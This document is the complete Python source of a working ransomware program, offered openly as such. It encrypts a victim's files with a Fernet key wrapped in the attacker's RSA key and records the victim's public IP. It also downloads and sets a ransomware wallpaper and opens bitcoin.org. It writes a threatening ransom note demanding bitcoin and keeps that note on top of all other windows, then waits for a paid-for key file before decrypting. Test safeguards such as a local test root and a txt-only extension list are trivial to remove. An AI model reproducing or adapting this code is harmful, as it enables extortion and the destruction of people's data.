CÓDIGO DE RANSOMWARE:

# Imports

from cryptography.fernet import Fernet # encrypt/decrypt files on target system

import os # to get system root

import webbrowser # to load webbrowser to go to specific website eg bitcoin

import ctypes # so we can interact with windows dlls and change windows background etc

import urllib.request # used for downloading and saving background image

import requests # used to make get reqeust to api.ipify.org to get target machine ip addr

import time # used to time.sleep interval for ransom note & check desktop to decrypt system/files

import datetime # to give time limit on ransom note

import subprocess # to create process for notepad and open ransom note

import win32gui # used to get window text to see if ransom note is on top of all other windows

from Crypto.PublicKey import RSA

from Crypto.Random import get\_random\_bytes

from Crypto.Cipher import AES, PKCS1\_OAEP

import base64

import threading # used for ransom note and decryption key on dekstop

class RansomWare:

    # File exstensions to seek out and Encrypt

    file\_exts = [

        'txt',

       # We comment out 'png' so that we can see the RansomWare only encrypts specific files that we have chosen-

       # -and leaves other files un-ecnrypted etc.

       # 'png',

    ]

    def \_\_init\_\_(self):

        # Key that will be used for Fernet object and encrypt/decrypt method

        self.key = None

        # Encrypt/Decrypter

        self.crypter = None

        # RSA public key used for encrypting/decrypting fernet object eg, Symmetric key

        self.public\_key = None

        ''' Root directorys to start Encryption/Decryption from

            CAUTION: Do NOT use self.sysRoot on your own PC as you could end up messing up your system etc...

            CAUTION: Play it safe, create a mini root directory to see how this software works it is no different

            CAUTION: eg, use 'localRoot' and create Some folder directory and files in them folders etc.

        '''

        # Use sysroot to create absolute path for files, etc. And for encrypting whole system

        self.sysRoot = os.path.expanduser('~')

        # Use localroot to test encryption softawre and for absolute path for files and encryption of "test system"

        self.localRoot = r'D:\Coding\Python\RansomWare\RansomWare\_Software\localRoot' # Debugging/Testing

        # Get public IP of person, for more analysis etc. (Check if you have hit gov, military ip space LOL)

        self.publicIP = requests.get('https://api.ipify.org').text

    # Generates [SYMMETRIC KEY] on victim machine which is used to encrypt the victims data

    def generate\_key(self):

        # Generates a url safe(base64 encoded) key

        self.key =  Fernet.generate\_key()

        # Creates a Fernet object with encrypt/decrypt methods

        self.crypter = Fernet(self.key)

    # Write the fernet(symmetric key) to text file

    def write\_key(self):

        with open('fernet\_key.txt', 'wb') as f:

            f.write(self.key)

    # Encrypt [SYMMETRIC KEY] that was created on victim machine to Encrypt/Decrypt files with our PUBLIC ASYMMETRIC-

    # -RSA key that was created on OUR MACHINE. We will later be able to DECRYPT the SYSMETRIC KEY used for-

    # -Encrypt/Decrypt of files on target machine with our PRIVATE KEY, so that they can then Decrypt files etc.

    def encrypt\_fernet\_key(self):

        with open('fernet\_key.txt', 'rb') as fk:

            fernet\_key = fk.read()

        with open('fernet\_key.txt', 'wb') as f:

            # Public RSA key

            self.public\_key = RSA.import\_key(open('public.pem').read())

            # Public encrypter object

            public\_crypter =  PKCS1\_OAEP.new(self.public\_key)

            # Encrypted fernet key

            enc\_fernent\_key = public\_crypter.encrypt(fernet\_key)

            # Write encrypted fernet key to file

            f.write(enc\_fernent\_key)

        # Write encrypted fernet key to dekstop as well so they can send this file to be unencrypted and get system/files back

        with open(f'{self.sysRoot}Desktop/EMAIL\_ME.txt', 'wb') as fa:

            fa.write(enc\_fernent\_key)

        # Assign self.key to encrypted fernet key

        self.key = enc\_fernent\_key

        # Remove fernet crypter object

        self.crypter = None

    # [SYMMETRIC KEY] Fernet Encrypt/Decrypt file - file\_path:str:absolute file path eg, C:/Folder/Folder/Folder/Filename.txt

    def crypt\_file(self, file\_path, encrypted=False):

        with open(file\_path, 'rb') as f:

            # Read data from file

            data = f.read()

            if not encrypted:

                # Print file contents - [debugging]

                print(data)

                # Encrypt data from file

                \_data = self.crypter.encrypt(data)

                # Log file encrypted and print encrypted contents - [debugging]

                print('> File encrpyted')

                print(\_data)

            else:

                # Decrypt data from file

                \_data = self.crypter.decrypt(data)

                # Log file decrypted and print decrypted contents - [debugging]

                print('> File decrpyted')

                print(\_data)

        with open(file\_path, 'wb') as fp:

            # Write encrypted/decrypted data to file using same filename to overwrite original file

            fp.write(\_data)

    # [SYMMETRIC KEY] Fernet Encrypt/Decrypt files on system using the symmetric key that was generated on victim machine

    def crypt\_system(self, encrypted=False):

        system = os.walk(self.localRoot, topdown=True)

        for root, dir, files in system:

            for file in files:

                file\_path = os.path.join(root, file)

                if not file.split('.')[-1] in self.file\_exts:

                    continue

                if not encrypted:

                    self.crypt\_file(file\_path)

                else:

                    self.crypt\_file(file\_path, encrypted=True)

    @staticmethod

    def what\_is\_bitcoin():

        url = 'https://bitcoin.org'

        # Open browser to the https://bitcoin.org so they know what bitcoin is

        webbrowser.open(url)

    def change\_desktop\_background(self):

        imageUrl = 'https://images.idgesg.net/images/article/2018/02/ransomware\_hacking\_thinkstock\_903183876-100749983-large.jpg'

        # Go to specif url and download+save image using absolute path

        path = f'{self.sysRoot}Desktop/background.jpg'

        urllib.request.urlretrieve(imageUrl, path)

        SPI\_SETDESKWALLPAPER = 20

        # Access windows dlls for funcionality eg, changing dekstop wallpaper

        ctypes.windll.user32.SystemParametersInfoW(SPI\_SETDESKWALLPAPER, 0, path, 0)

    def ransom\_note(self):

        date = datetime.date.today().strftime('%d-%B-Y')

        with open('RANSOM\_NOTE.txt', 'w') as f:

            f.write(f'''

The hard disks of your computer have been encrypted with an Military grade encryption algorithm.

There is no way to restore your data without a special key.

Only we can decrypt your files!

To purchase your key and restore your data, please follow these three easy steps:

1. Email the file called EMAIL\_ME.txt at {self.sysRoot}Desktop/EMAIL\_ME.txt to GetYourFilesBack@protonmail.com

2. You will recieve your personal BTC address for payment.

   Once payment has been completed, send another email to GetYourFilesBack@protonmail.com stating "PAID".

   We will check to see if payment has been paid.

3. You will receive a text file with your KEY that will unlock all your files.

   IMPORTANT: To decrypt your files, place text file on desktop and wait. Shortly after it will begin to decrypt all files.

WARNING:

Do NOT attempt to decrypt your files with any software as it is obsolete and will not work, and may cost you more to unlock your files.

Do NOT change file names, mess with the files, or run decryption software as it will cost you more to unlock your files-

-and there is a high chance you will lose your files forever.

Do NOT send "PAID" button without paying, price WILL go up for disobedience.

Do NOT think that we won't delete your files altogether and throw away the key if you refuse to pay. WE WILL.

''')

    def show\_ransom\_note(self):

        # Open the ransom note

        ransom = subprocess.Popen(['notepad.exe', 'RANSOM\_NOTE.txt'])

        count = 0 # Debugging/Testing

        while True:

            time.sleep(0.1)

            top\_window = win32gui.GetWindowText(win32gui.GetForegroundWindow())

            if top\_window == 'RANSOM\_NOTE - Notepad':

                print('Ransom note is the top window - do nothing') # Debugging/Testing

                pass

            else:

                print('Ransom note is not the top window - kill/create process again') # Debugging/Testing

                # Kill ransom note so we can open it agian and make sure ransom note is in ForeGround (top of all windows)

                time.sleep(0.1)

                ransom.kill()

                # Open the ransom note

                time.sleep(0.1)

                ransom = subprocess.Popen(['notepad.exe', 'RANSOM\_NOTE.txt'])

            # sleep for 10 seconds

            time.sleep(10)

            count +=1

            if count == 5:

                break

    # Decrypts system when text file with un-encrypted key in it is placed on dekstop of target machine

    def put\_me\_on\_desktop(self):

        # Loop to check file and if file it will read key and then self.key + self.cryptor will be valid for decrypting-

        # -the files

        print('started') # Debugging/Testing

        while True:

            try:

                print('trying') # Debugging/Testing

                # The ATTACKER decrypts the fernet symmetric key on their machine and then puts the un-encrypted fernet-

                # -key in this file and sends it in a email to victim. They then put this on the desktop and it will be-

                # -used to un-encrypt the system. AT NO POINT DO WE GIVE THEM THE PRIVATE ASSYEMTRIC KEY etc.

                with open(f'{self.sysRoot}/Desktop/PUT\_ME\_ON\_DESKTOP.txt', 'r') as f:

                    self.key = f.read()

                    self.crypter = Fernet(self.key)

                    # Decrpyt system once have file is found and we have cryptor with the correct key

                    self.crypt\_system(encrypted=True)

                    print('decrypted') # Debugging/Testing

                    break

            except Exception as e:

                print(e) # Debugging/Testing

                pass

            time.sleep(10) # Debugging/Testing check for file on desktop ever 10 seconds

            print('Checking for PUT\_ME\_ON\_DESKTOP.txt') # Debugging/Testing

            # Would use below code in real life etc... above 10secs is just to "show" concept

            # Sleep ~ 3 mins

            # secs = 60

            # mins = 3

            # time.sleep((mins\*secs))

def main():

    # testfile = r'D:\Coding\Python\RansomWare\RansomWare\_Software\testfile.png'

    rw = RansomWare()

    rw.generate\_key()

    rw.crypt\_system()

    rw.write\_key()

    rw.encrypt\_fernet\_key()

    rw.change\_desktop\_background()

    rw.what\_is\_bitcoin()

    rw.ransom\_note()

    t1 = threading.Thread(target=rw.show\_ransom\_note)

    t2 = threading.Thread(target=rw.put\_me\_on\_desktop)

    t1.start()

    print('> RansomWare: Attack completed on target machine and system is encrypted') # Debugging/Testing

    print('> RansomWare: Waiting for attacker to give target machine document that will un-encrypt machine') # Debugging/Testing

    t2.start()

    print('> RansomWare: Target machine has been un-encrypted') # Debugging/Testing

    print('> RansomWare: Completed') # Debugging/Testing

if \_\_name\_\_ == '\_\_main\_\_':

    main()